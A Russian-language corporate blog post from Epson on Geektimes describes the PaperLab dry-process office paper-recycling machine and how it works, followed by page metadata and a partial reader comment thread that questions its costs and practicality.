Редакторы Geektimes уже рассказывали об анонсе офисной бумагоперерабатывающей машины Epson PaperLab. С тех пор мы получили множество вопросов от заинтересованных читателей, на которые, наконец-то, сможем ответить в данном посте. Встречайте! Epson PaperLab — первая в мире офисная машина с замкнутым циклом переработки бумаги в офисе с помощью сухого процесса. Загружаете макулатуру — получаете чистые листы. ## Макулатура и что с ней делают сейчас В среднем в мире ежегодно производится 400 миллионов тонн бумаги и картона. В основном для производства бумаги используется первичная целлюлоза, а на переработанную макулатуру приходится 38% мирового объема бумажной продукции (по данным Конфедерации европейских производителей бумаги CEPI). При этом переработка одной тонны бумаги для печати экономит более 2 тонн древесины. Итак, что же происходит с макулатурой после ее доставки на перерабатывающий завод? ## Сортировка Сырье сортируется по уровню качества. Семь из двенадцати типов отходов пригодны для изготовления яичных лотков, упаковочной тары и пр. Оставшиеся три вида – газеты, журналы, офисная бумага – считаются самым дорогим сырьем. Из них производятся тетради, туалетная бумага, обои, альбомы и т.д. Главный критерий классификации по ГОСТу 10700-97 — плотность и качество. К примеру, бумага для принтеров и письма относится к группе «А» – высший сорт. ## Роспуск Спрессованные кипы бумаги вымачиваются в специальных резервуарах-гидроразбивателях, которые работают по принципу стиральной машины: барабан создает завихрение, которое перемешивает и перетирает волокна. Затем макулатурная масса очищается от посторонних примесей: тяжелые примеси удаляются за счет вращения в барабане: песок, стекло, скрепки и т.д. оседают в грязесборнике, а легкие — при пропускании массы через сито. В процессе вымачивания добавляют химикаты, благодаря которым частицы типографской краски и чернил больше не прилипают к волокнам. Так называемую «пульпу», получаемую на этом этапе, используют для производства низкосортного картона, мягких наполнителей, упаковки для яиц и дальнейшей очистки и переработки. Далее бумажная масса дораспускается при помощи размалывания на мельнице и подвергается тонкой очистке. Кстати, цикл переработки может обычно повторяться до 7 раз, при этом при каждой последующей переработке волокна становятся короче и, в конечном счете, они становятся непригодными для изготовления новой бумаги. ## Какое оборудование существует для переработки Из промышленных машин и систем существуют: отдельные установки для каждой операции обработки; комбинированные установки для нескольких операций (мини-заводы); крупные заводы, выполняющие всю технологическую цепочку. Отдельные установки для каждого этапа приобретают, когда ожидается средний поток макулатуры – 10–50 тонн в сутки. Если же стабильные поставки макулатуры происходят в значительно больших объемах, то предпочтительней использование большого перерабатывающего завода. А вот мини-заводы востребованы в тех местах, где поставки макулатуры не превышают 3–5 тонн в сутки, ведь в этом случае бессмысленно вкладываться в мощное дорогостоящее оборудование. ## Epson PaperLab Совсем недавно – в 2016 году – появился еще один вид перерабатывающих машин — самый компактный. Весь процесс переработки и производства умещается в одном аппарате. Как раз к такому классу устройств и относится Epson PaperLab. Установка имеет рекордно компактные для подобного класса оборудования размеры – всего 2,6×1,2×1,8 м. Главная особенность PaperLab в том, что это первая в мире (по данным Seiko Epson на ноябрь 2016) офисная бумагоперерабатывающая машина, которая перерабатывает использованную бумагу в новую с помощью сухого процесса. В отличие от традиционной системы переработки, которая использует большое количество воды, PaperLab практически не использует воду (не считая совсем небольшого количества воды, которое требуется для поддержания уровня влажности системы, но машина не требует подключения к системе водопровода и может быть установлена в любом офисе). То есть помимо сохранения деревьев, новый аппарат еще и здорово экономит воду. Инженеры Epson начали работу над PaperLab еще в 2011 году и разработали технологию Dry Fiber, продолжили работу над ней и в 2016 году получили за эту технологию престижную награду Nikkei Global Environmental Technology. ## Технология Epson Dry Fiber Чтобы не перегружать пост информацией, расскажем о принципе работы технологии Dry Fiber как можно короче: 1. Загрузка Использованная бумага различного форм-фактора загружается в PaperLab. 2. Роспуск на волокна Безводный дефибрационный юнит, разработанный Epson, механически разбивает бумагу на длинные тонкие волокна. Этот процесс моментально и безвозвратно уничтожает конфиденциальные документы. Поскольку PaperLab не использует воду для переработки, нет нужды подключать аппарат к водопроводной системе, а значит, машину можно установить в любом офисе. 3. Сращивание, закрепление Волокна перемешиваются со связующими веществами PaperPlus, которые придают бумаге прочность и белизну. Кроме того, на этом же этапе можно добавить носителю цвет, аромат и вещества, повышающие огнестойкость готового продукта. 4. Формовка Волокна выкладываются в тонкий слой и формируются в лист под давлением. На этом этапе задается прочность, толщина и размеры листа. 5. Обрезка листа под требуемый формат Вуаля! Совершенно новые листы готовы для печати! ## В чем преимущества PaperLab За одну минуту PaperLab в состоянии производить около 12-ти листов формата А4. Это 720 листов в час или 5760 листов за 8-часовой рабочий день. Время выхода первого листа – 3 минуты с момента нажатия кнопки «Старт». В дополнение к подобной производительности, устройство обладает следующими преимуществами: 1. Замкнутый цикл переработки бумаги в офисе Как правило, в процесс переработки бумаги включается доставка макулатуры из офиса на завод. PaperLab позволяет ускорить этот процесс и сделать его локальным — то есть перерабатывать бумагу можно, как говорится, «не отходя от кассы». 2. Безопасное уничтожение конфиденциальных документов Если вы работаете с документами высокой секретности, будьте уверены, что конфиденциальные документы никогда не покинут здания: PaperLab полностью и необратимо уничтожает всю информацию с бумаги в процессе переработки. Причем, делать это можно не покидая офиса, и не прибегая к услугам сторонних организаций. В отличие от шредера, PaperLab исключает даже теоретическую возможность восстановления данных в связи с тем, что чернила или тонер полностью отделяются от бумажных волокон и собираются в одной емкости с отработкой. 3. Широкие возможности «кастомизации» бумаги При создании бумаги устройство позволяет задавать ее свойства. Можно: изменить цвет бумаги; получить бумагу нужного формата вплоть до А3; создавать бумагу различной плотности (от простой офисной бумаги 90 г/м2 до плотной бумаги для открыток 150—240 г/м2), и даже ароматизировать бумагу 4. Экологическая ответственность — с заботой о будущем Переработка непосредственно в офисе помогает снизить негативное влияние на окружающую среду: PaperLab помогает снизить выбросы CO2. Из цепочки переработки исключается пункт транспортировки продукции, причем как отправки макулатуры на переработку, так и заказа новой бумаги. Меньше машин — меньше выхлопных газов. Потребность в закупке новой бумаги снижается, а значит, при этом мы бережем бесценный ресурс планеты — деревья. PaperLab производит бумагу без использования воды (не считая небольшого количества воды, требующегося для поддержания определенного уровня влажности в системе). Как правило, для производства одного листа А4 по традиционной схеме требуется приблизительно чашка воды. Поэтому, поскольку в машине использована «сухая переработка», PaperLab экономит до 54 500 литров воды на каждую тонну созданной бумаги. ## Хочу собственный бумажный завод Еще бы. Все хотят! Но на данный момент в мире представлен один действующий образец PaperLab. Он находится в Европе и иногда гастролирует по крупным международным выставкам. Промышленное производство аппаратов PaperLab планируется начать в ближайшее время. В данной публикации мы собрали всю информацию, которой поделились с нами японские коллеги. Как только будет еще что-то интересное – обязательно расскажем и сделаем развернутый пост-обзор уже самого аппарата. Благодарим за внимание!
<div xmlns="http://www.w3.org/1999/xhtml"><p>Редакторы Geektimes <a href="https://geektimes.ru/post/267066/">уже рассказывали</a> об анонсе офисной бумагоперерабатывающей машины Epson PaperLab. С тех пор мы получили множество вопросов от заинтересованных читателей, на которые, наконец-то, сможем ответить в данном посте.</p><br/> <p>Встречайте! Epson PaperLab — первая в мире офисная машина с замкнутым циклом переработки бумаги в офисе с помощью сухого процесса.</p><br/> <p>Загружаете макулатуру — получаете чистые листы.</p><br/> <img src="https://habrastorage.org/r/w780q1/web/ee9/935/660/ee99356602e6493ca6bdd9d6b23d0ee0.jpg" data-src="https://habrastorage.org/web/ee9/935/660/ee99356602e6493ca6bdd9d6b23d0ee0.jpg" data-blurred="true"/><a name="habracut"></a><br/> <h2>Макулатура и что с ней делают сейчас</h2><br/> <p>В среднем в мире ежегодно производится 400 миллионов тонн бумаги и картона. В основном для производства бумаги используется первичная целлюлоза, а на переработанную макулатуру приходится 38% мирового объема бумажной продукции (<a href="http://press.spb.ru/statistika-proizvodstva-i-potrebleniya-bumagi-s-1991-po-2015/">по данным Конфедерации европейских производителей бумаги CEPI</a>).</p><br/> <div style="text-align:center;"><img src="https://habrastorage.org/r/w1560/web/aee/f79/dca/aeef79dca55d4ad5b238508956315c5d.png" data-src="https://habrastorage.org/web/aee/f79/dca/aeef79dca55d4ad5b238508956315c5d.png"/></div><br/> <p>При этом переработка одной тонны бумаги для печати экономит более 2 тонн древесины.</p><br/> <p>Итак, что же происходит с макулатурой после ее доставки на перерабатывающий завод?</p><br/> <h2>Сортировка</h2><br/> <div style="text-align:center;"><img src="https://habrastorage.org/r/w780q1/web/68b/fc5/5c5/68bfc55c5c7e481aaac9dd15ec292dc5.jpg" data-src="https://habrastorage.org/web/68b/fc5/5c5/68bfc55c5c7e481aaac9dd15ec292dc5.jpg" data-blurred="true"/></div><br/> <p>Сырье сортируется по уровню качества. Семь из двенадцати типов отходов пригодны для изготовления яичных лотков, упаковочной тары и пр. Оставшиеся три вида – газеты, журналы, офисная бумага – считаются самым дорогим сырьем. Из них производятся тетради, туалетная бумага, обои, альбомы и т.д.</p><br/> <p>Главный критерий классификации по ГОСТу 10700-97 — плотность и качество. К примеру, бумага для принтеров и письма относится к группе «А» – высший сорт.</p><br/> <h2>Роспуск</h2> <br/> <p>Спрессованные кипы бумаги вымачиваются в специальных резервуарах-гидроразбивателях, которые работают по принципу стиральной машины: барабан создает завихрение, которое перемешивает и перетирает волокна. Затем макулатурная масса очищается от посторонних примесей: тяжелые примеси удаляются за счет вращения в барабане: песок, стекло, скрепки и т.д. оседают в грязесборнике, а легкие — при пропускании массы через сито. В процессе вымачивания добавляют химикаты, благодаря которым частицы типографской краски и чернил больше не прилипают к волокнам.</p><br/> <p>Так называемую «пульпу», получаемую на этом этапе, используют для производства низкосортного картона, мягких наполнителей, упаковки для яиц и дальнейшей очистки и переработки.</p><br/> <div style="text-align:center;"><img src="https://habrastorage.org/r/w780q1/web/c8d/5f7/0b7/c8d5f70b772d4642a1fcf5030e93154f.jpg" data-src="https://habrastorage.org/web/c8d/5f7/0b7/c8d5f70b772d4642a1fcf5030e93154f.jpg" data-blurred="true"/></div><br/> <p>Далее бумажная масса дораспускается при помощи размалывания на мельнице и подвергается тонкой очистке. Кстати, цикл переработки может обычно повторяться до 7 раз, при этом при каждой последующей переработке волокна становятся короче и, в конечном счете, они становятся непригодными для изготовления новой бумаги.</p><br/> <div style="text-align:center;"><img src="https://habrastorage.org/r/w780q1/web/6f7/b3a/014/6f7b3a0148e94fef8e9052e08960b645.jpg" data-src="https://habrastorage.org/web/6f7/b3a/014/6f7b3a0148e94fef8e9052e08960b645.jpg" data-blurred="true"/></div><br/> <h2>Какое оборудование существует для переработки</h2><br/> <p>Из промышленных машин и систем существуют:</p><br/> <ul> <li><b>отдельные установки</b> для каждой операции обработки;</li> <li><b>комбинированные установки</b> для нескольких операций (мини-заводы);</li> <li><b>крупные заводы</b>, выполняющие всю технологическую цепочку.</li> </ul><br/> <p>Отдельные установки для каждого этапа приобретают, когда ожидается средний поток макулатуры – 10–50 тонн в сутки. Если же стабильные поставки макулатуры происходят в значительно б<b><i>о</i></b>льших объемах, то предпочтительней использование большого перерабатывающего завода.</p><br/> <p>А вот мини-заводы востребованы в тех местах, где поставки макулатуры не превышают 3–5 тонн в сутки, ведь в этом случае бессмысленно вкладываться в мощное дорогостоящее оборудование.</p><br/> <h2>Epson PaperLab</h2><br/> <img src="https://habrastorage.org/r/w780q1/web/d50/5c5/67c/d505c567c82243c6a5f48c76303509b1.jpg" align="right" data-src="https://habrastorage.org/web/d50/5c5/67c/d505c567c82243c6a5f48c76303509b1.jpg" data-blurred="true"/><p>Совсем недавно – в 2016 году – появился еще один вид перерабатывающих машин — самый компактный. <b>Весь процесс переработки и производства умещается в одном аппарате.</b> Как раз к такому классу устройств и относится Epson PaperLab.</p><br/> <p>Установка имеет рекордно компактные для подобного класса оборудования размеры – всего 2,6×1,2×1,8 м.</p><br/> <p>Главная особенность PaperLab в том, что это первая в мире <i>(по данным Seiko Epson на ноябрь 2016)</i> офисная бумагоперерабатывающая машина, которая перерабатывает использованную бумагу в новую <b>с помощью сухого процесса</b>.</p><br/> <p>В отличие от традиционной системы переработки, которая использует большое количество воды, PaperLab практически не использует воду (не считая совсем небольшого количества воды, которое требуется для поддержания уровня влажности системы, но машина не требует подключения к системе водопровода и может быть установлена в любом офисе).</p><br/> <p>То есть помимо сохранения деревьев, новый аппарат еще и здорово экономит воду.</p><br/> <p>Инженеры Epson начали работу над PaperLab еще в 2011 году и разработали технологию Dry Fiber, продолжили работу над ней и в 2016 году получили за эту технологию престижную награду Nikkei Global Environmental Technology.</p><br/> <h2>Технология Epson Dry Fiber</h2><br/> <div style="text-align:center;"><img src="https://habrastorage.org/r/w780q1/web/d45/1bc/e96/d451bce96ab1467c831fed4961873559.jpg" data-src="https://habrastorage.org/web/d45/1bc/e96/d451bce96ab1467c831fed4961873559.jpg" data-blurred="true"/></div><br/> <p>Чтобы не перегружать пост информацией, расскажем о принципе работы технологии Dry Fiber как можно короче:</p><br/> <ol> <li><b>Загрузка</b><br/> Использованная бумага различного форм-фактора загружается в PaperLab.</li> <li><b>Роспуск на волокна</b><br/> Безводный дефибрационный юнит, разработанный Epson, механически разбивает бумагу на длинные тонкие волокна. Этот процесс моментально и безвозвратно уничтожает конфиденциальные документы. Поскольку PaperLab не использует воду для переработки, нет нужды подключать аппарат к водопроводной системе, а значит, машину можно установить в любом офисе.</li> <li><b>Сращивание, закрепление</b><br/> Волокна перемешиваются со связующими веществами PaperPlus, которые придают бумаге прочность и белизну. Кроме того, на этом же этапе можно добавить носителю цвет, аромат и вещества, повышающие огнестойкость готового продукта.</li> <li><b>Формовка</b><br/> Волокна выкладываются в тонкий слой и формируются в лист под давлением. На этом этапе задается прочность, толщина и размеры листа.</li> <li><b>Обрезка листа под требуемый формат</b><br/> Вуаля! Совершенно новые листы готовы для печати!</li> </ol><br/> <div class="oembed"><div class="tm-iframe_temp" data-src="https://embedd.srv.habr.com/iframe/6123704c9b18798fbe34cd48" data-style="" id="6123704c9b18798fbe34cd48" width=""></div></div><br/> <br/> <h2>В чем преимущества PaperLab</h2><br/> <p>За одну минуту PaperLab в состоянии производить около 12-ти листов формата А4. <b>Это 720 листов в час или 5760 листов за 8-часовой рабочий день.</b> Время выхода первого листа – 3 минуты с момента нажатия кнопки «Старт». В дополнение к подобной производительности, устройство обладает следующими преимуществами:</p><br/> <ol> <li><b>Замкнутый цикл переработки бумаги в офисе</b><br/> <br/> Как правило, в процесс переработки бумаги включается доставка макулатуры из офиса на завод. PaperLab позволяет ускорить этот процесс и сделать его локальным — то есть перерабатывать бумагу можно, как говорится, «не отходя от кассы».</li> <li><b>Безопасное уничтожение конфиденциальных документов</b><br/> <br/> Если вы работаете с документами высокой секретности, будьте уверены, что конфиденциальные документы никогда не покинут здания: <b>PaperLab полностью и необратимо уничтожает всю информацию с бумаги в процессе переработки.</b> Причем, делать это можно не покидая офиса, и не прибегая к услугам сторонних организаций. В отличие от шредера, PaperLab исключает даже теоретическую возможность восстановления данных в связи с тем, что чернила или тонер полностью отделяются от бумажных волокон и собираются в одной емкости с отработкой.<br/> <br/> <img src="https://habrastorage.org/r/w1560/web/fa9/568/154/fa9568154c524f2d9c20dde311754400.png" data-src="https://habrastorage.org/web/fa9/568/154/fa9568154c524f2d9c20dde311754400.png"/></li> <li><b>Широкие возможности «кастомизации» бумаги</b><br/> <br/> При создании бумаги устройство позволяет задавать ее свойства. Можно:<br/> <ul> <li>изменить цвет бумаги;</li> <li>получить бумагу нужного формата вплоть до А3;</li> <li>создавать бумагу различной плотности (от простой офисной бумаги 90 г/м<sup>2</sup> до плотной бумаги для открыток 150—240 г/м<sup>2</sup>),</li> <li>и даже ароматизировать бумагу</li> </ul></li> <li><b>Экологическая ответственность — с заботой о будущем</b><br/> <br/> Переработка непосредственно в офисе помогает снизить негативное влияние на окружающую среду:<br/> <ul> <li>PaperLab помогает снизить выбросы CO2. Из цепочки переработки исключается пункт транспортировки продукции, причем как отправки макулатуры на переработку, так и заказа новой бумаги. Меньше машин — меньше выхлопных газов.</li> <li>Потребность в закупке новой бумаги снижается, а значит, при этом мы бережем бесценный ресурс планеты — деревья.</li> <li>PaperLab производит бумагу без использования воды (не считая небольшого количества воды, требующегося для поддержания определенного уровня влажности в системе). Как правило, для производства одного листа А4 по традиционной схеме требуется приблизительно чашка воды. Поэтому, поскольку в машине использована «сухая переработка», <b>PaperLab экономит до 54 500 литров воды на каждую тонну созданной бумаги</b>.</li> </ul><br/> </li> </ol><h2>Хочу собственный бумажный завод</h2><br/> <p>Еще бы. Все хотят!</p><br/> <p>Но на данный момент в мире представлен один действующий образец PaperLab. Он находится в Европе и иногда гастролирует по крупным международным выставкам. Промышленное производство аппаратов PaperLab планируется начать в ближайшее время.</p><br/> <p>В данной публикации мы собрали всю информацию, которой поделились с нами японские коллеги. Как только будет еще что-то интересное – обязательно расскажем и сделаем развернутый пост-обзор уже самого аппарата.</p><br/> <p>Благодарим за внимание!</p></div>
Веб-менеджер Epson (epsonic)
null
null
<p>Редакторы Geektimes <a href="https://geektimes.ru/post/267066/">уже рассказывали</a> об анонсе офисной бумагоперерабатывающей машины Epson PaperLab. С тех пор мы получили множество вопросов от заинтересованных читателей, на которые, наконец-то, сможем ответить в данном посте.</p><br/> <p>Встречайте! Epson PaperLab — первая в мире офисная машина с замкнутым циклом переработки бумаги в офисе с помощью сухого процесса.</p><br/> <p>Загружаете макулатуру — получаете чистые листы.</p><br/> <img src="https://habrastorage.org/web/ee9/935/660/ee99356602e6493ca6bdd9d6b23d0ee0.jpg"/>
Редакторы Geektimes уже рассказывали об анонсе офисной бумагоперерабатывающей машины Epson PaperLab. С тех пор мы получили множество вопросов от заинтересованных читателей, на которые, наконец-то, сможем ответить в данном посте. Встречайте! Epson PaperLab — первая в мире офисная машина с замкнутым циклом переработки бумаги в офисе с помощью сухого процесса. Загружаете макулатуру — получаете чистые листы.
article
1,506,405,630
{ "commentsCount": 61, "favoritesCount": 17, "readingCount": 24605, "score": 21, "votesCount": 21, "votesCountPlus": 21, "votesCountMinus": 0 }
[]
[ "epson", "Peripheral", "Ecology", "futurenow" ]
[ "popsci" ]
[ "Epson PaperLab", "бумага", "переработка", "вторсырье", "минизаводы", "производство бумаги", "макулатура" ]
5
null
null
{ "id": [ 18380293, 18380295, 18380297, 18380299, 18380301, 18380303, 18380305, 18380307, 18380309, 18380311, 18380313, 18380315, 18380317, 18380319, 18380321, 18380323, 18380325, 18380327, 18380329, 18380331, 18380333, 18380335, 18380337, 18380339, 18380341, 18380343, 18380345, 18380347, 18380349, 18380351, 18380353, 18380355, 18380357, 18380359, 18380361, 18380363, 18380365, 18380367, 18380369, 18380371, 18380373, 18380375, 18380377, 18380379, 18380381, 18380383, 18380385, 18380387, 18380389, 18380391, 18380393, 18380395, 18380397, 18380399, 18380401, 18380403, 18380405, 18380407, 22522174, 22522224, 22522234 ], "parent_id": [ null, 18380293, 18380293, 18380297, 18380299, 18380295, null, null, null, null, null, null, null, null, 18380317, null, 18380319, 18380307, 18380313, 18380325, 18380313, 18380331, 18380327, null, null, null, 18380343, 18380345, 18380347, 18380335, 18380327, 18380305, 18380337, null, 18380343, 18380357, null, 18380303, 18380363, 18380357, 18380317, 18380365, 18380373, 18380353, 18380377, 18380361, null, 18380337, 18380323, 18380349, null, 18380299, null, 18380397, 18380399, 18380341, 18380379, 18380401, null, 22522174, 22522224 ], "level": [ 0, 1, 1, 2, 3, 2, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 2, 1, 3, 2, 0, 0, 0, 1, 2, 3, 4, 2, 1, 3, 0, 1, 4, 0, 3, 5, 4, 1, 1, 2, 3, 3, 2, 0, 3, 1, 4, 0, 3, 0, 1, 2, 1, 4, 3, 0, 1, 2 ], "time_published": [ 1506406194, 1506407225, 1506407363, 1506407551, 1506409541, 1506412194, 1506412200, 1506413265, 1506414909, 1506414912, 1506417413, 1506417498, 1506417567, 1506417826, 1506418505, 1506420905, 1506423588, 1506424543, 1506424725, 1506426503, 1506426924, 1506427356, 1506428186, 1506431530, 1506431653, 1506431728, 1506431782, 1506432409, 1506432640, 1506433074, 1506433992, 1506434724, 1506434994, 1506437037, 1506437396, 1506437856, 1506438770, 1506439168, 1506440402, 1506443010, 1506443142, 1506452130, 1506460059, 1506461478, 1506461721, 1506464094, 1506480707, 1506483156, 1506483668, 1506483830, 1506487282, 1506492205, 1506492216, 1506492661, 1506503323, 1506510927, 1506515925, 1506517576, 1610354907, 1610355557, 1610355678 ], "score": [ 0, 1, 3, 6, 1, 2, 0, 0, 1, 1, 4, 0, 7, 2, 1, 1, 0, 3, 0, 1, 4, -1, 0, 2, 2, 2, 2, 0, 3, 0, 0, 1, 1, 0, 7, 4, 0, 2, 2, 1, 0, 1, 0, 2, 1, 1, -1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ], "votes": [ 0, 3, 3, 6, 1, 2, 0, 0, 1, 1, 4, 0, 7, 2, 3, 1, 0, 5, 2, 1, 4, 1, 0, 2, 2, 4, 2, 0, 5, 4, 0, 1, 1, 0, 7, 4, 2, 4, 2, 1, 0, 1, 0, 2, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Сделаем запрос, но на данный момент сами знаем только то, что рассказали в публикации. Пока что это пусть рабочий, но лишь прототип <s>с двумя экранами</s>. Головной офис в таких случаях не любит раскрывать карты раньше времени.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А самое главное, сколько стоят расходники?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Что-то мне подсказывает — дешевле и практичнее занять объем этой машины, пачками почтой офисной бумаги.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Скорее всего вы правы, за исключением случаев когда компания позиционирует себя на рынке как \"зеленую\". Для них это будет дополнительный фактор их зеленоватости.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Еще несколько вопросов по работе машины, если вы не против.</p><br/>\r\n<ol>\r\n<li>Можно ли вторично перерабатывать в этой машине произведенную в ней бумагу? А 3, 4, 5… раз?</li>\r\n<li>Количество часов до техобслуживания, рекомендуемая нагрузка в месяц, часов работы.</li>\r\n<li>Стоимость техобслуживания и расходников.</li>\r\n<li>Уровень шума при работе.</li>\r\n<li>Не выделяет ли при работе летучие вещества, пыль. Другими словами, не начнут ли сотрудники офиса через годик отходить в мир иной от рака легких, астмы и т.п.<br/>\r\nАппарат проходил сертификацию на безопастность такого рода?<br/>\r\nИдея аппарата просто замечательная, надеюсь, что скоро его можно будет приобрести по выгодной цене. Успехов вам.</li>\r\n</ol></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">12 листов А4 в минуту это, конечно, круто! А сколько листов такой же плотности нужно в неё предварительно загрузить?<br/>\r\nИли плотность выходящей бумаги снижается после каждого цикла переработки?<br/></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Интересно было бы знать какую бумагу она перерабатывает? Точнее в каком состоянии. Мятую или с пятнами от кофе тоже скушает или только в хорошем состоянии?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Шел 2017 год а в мире до сих пор марают тонны бумаги в каждом офисе только для того чтобы отпечатанные образцы разок прочитать и уничтожить.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Это без малого прорыв.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да, интересно, я даже вспомнил свою статью про анонс двухлетней давности, которая тут упомянута.<br/>\r\nВот, оказывается, в чём подвох. Связующее вещество paperplus. Поскольку просто продажей оргтехники зарабатывать не принято, и все наживаются на расходниках, то полагаю, что это вещество будет стоить столько, что дешевле будет гонять за новой бумагой водителя на вертолёте в другой город.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Самый интересный вопрос — сколько будет стоить? :)</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Если учесть её собственную стоимость и срок амортизации, то не только на вертолёте, там на каждой пачке автограф космонавтов МКС можно поставить.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А переработанную устройством бумагу после использования можно снова переработать? Сколько раз?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну в России-то точно не откажутся. Даже наоборот, её становится только больше. Одно только внедрение электронных журналов в школах и электронной записи на приём к врачу в бюджетных поликлиниках позволило существенно увеличить расход бумаги.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Потому что в офисах всё ещё работает слишком много пенсионеров докомпьютерной эпохи, которые даже наручные часы до сих пор носят механические, потому что на электронных и время-то выставить не смогут без помощи секретарши.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Всего-то? Надо будет намайнить завтра на работе :)</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А ещё развесить по стенам, измазать ручками/маркерами/карандашами, сохранить без оглядки на деградацию носителей и совместимость форматов, и с практически применимой достоверностью подтвердить подлинность.<br/>\r\n<br/>\r\nЭто я к тому, что хотя к отказу от бумаги в большинстве случаев, безусловно, следует стремиться, есть ещё масса ситуаций, в которых она, чисто экономически, обходит «цифру» с отрывом на несколько порядков.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">off <a href=\"https://primechaniya.ru/home/news/sentyabr_2017/tehnari_aksenova_majnili_bitkoiny_na_kompyuterah_sovmina_kryma/\">осторожнее</a> с этим :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А сколько будет стоить ремонт такой машины после попадания в нее скрепки или скобки от степлера?<br/>\r\nИли так: сколько скобок от степлера эта машина способна переварить?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Братья-гики, я ваши сообщения за сегодня аккуратно каталогизирую и передам менеджеру по бизнес-технике. На что сможем ответить — ответим, не сможем — запросим у головного офиса. <br/>\r\n<br/>\r\n<i>Рады, что аппарат вас так заинтересовал!</i></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Добрый день! Волею судеб являюсь специалистом в производстве бумаги. И могу сказать, что данное устройство является не более чем <b>маркетингом</b>.<br/>\r\n<br/>\r\n<ol>\r\n<li><i>Производство бумаги из вторичного сырья без применения воды очень спорно, не понятно как волокна связываются между собой, это мертвое волокно, которое надо разрабатывать на мельницах (очень энергоемкий процесс) без воды он невозможен. Из этого следует, что бумага произведенная на данном оборудовании не будет иметь нужных механических свойств. Вообще сухой метод производства бумаги реализован, но на предприятиях, и пока он не может превзойти по экономическим показателям.</i></li>\r\n<li><i> Пункт о специальных химикатах тоже оставляет вопросы, например о себестоимости выпускаемой продукции. Основными показателями офисной бумаги является пылимость (то как быстро сломается принтер, который будет печатать на такой бумаге, вопрос времени) и «капиллярная впитываемость»- с этим пунктом вообще интересно (это и печатные свойства и эстетический вид печати).</i></li>\r\n<li><i>Зачем это нужно??? Один офис не сможет сделать бумагу дешевле предприятия, которые производят по 30 тонн такой бумаги в час.</i></li>\r\n<li> <i>Возможно было бы эффективнее перестроить такое оборудование так: офисная макулатура ---> на выходе тиссью бумага (салфетки и туалетная бумага).</i></li>\r\n</ol></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Согласен, что вопросов достаточно (у нас самих — тоже). На все по возможности постараемся ответить, но не сразу, т.к. у самих инфы по аппарату не так много.<br/>\r\n<br/>\r\n<i>Зачем это нужно??? Один офис не сможет сделать бумагу дешевле предприятия</i><br/>\r\n<br/>\r\nНа это сам могу ответить. В первую очередь фишка устройства в гарантированном безвозвратном уничтожении данных с документов. Это не шредер, это рекомбинатор. Восстановить данные после переработки листа с конфиденциальным документом просто невозможно никаким образом.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В таком случае достаточно миникрематрия для сжигания бумаги<br/>\r\n… да и вообще способов уничтожить документ довольно много. <br/>\r\nсъесть например.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ярко представил себе слоган рекламной кампании аппарата: <i>«Надоело есть одну и ту же бумагу? Опостылел запах миникрематория? Есть ответ! Epson PaperLab! Ароматизированная бумага на любой вкус и цвет!»</i></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Сказочные идиоты :)</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Не могу пока предметно аргументировать, но, честно говоря, было бы странным анонсировать подобный аппарат как экологичный, но при этом выпускать к нему какую-нибудь формальдегидную расходку. Об этом также разузнаем.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Крупные конторы с развитыми бюрократическими традициями все еще живут по принципу «Больше бумаги — чище задница» =\\<br/>\r\nА компьютер рассматривают исключительно как наиболее эффективный макулатурогенератор.<br/>\r\n<br/>\r\nСарказм, «еси чо» =)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ходил такой анекдот в советское время. Дескать некие ушлые товарищи продали одному лошаре машинку для печатанья денег. Она в виде коробочки, сбоку ручка. Крутишь ручку, из коробочки выезжает рубль. Тестировали, крутили ручку, работает!!! Сговорились на 5000 рублей. Продали. Через неделю, когда ушлых товарищей след простыл машинка перестала работать. Открыли, посмотрели. Оказалось была заправлена пачка 100 рублей рублями, а теперь они просто кончились… Интересно сколько бумаги войдет в объем 2,6×1,2×1,8м? )))</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Какой уж тут сарказм. Выглядит это так:<br/>\r\n1) Нужен электронный документооборот, как у всех.<br/>\r\n2) Его необходимость спускается сверху на все подразделения<br/>\r\n3) Находится подрядчик из «нужных». Как проходит тендер и всё 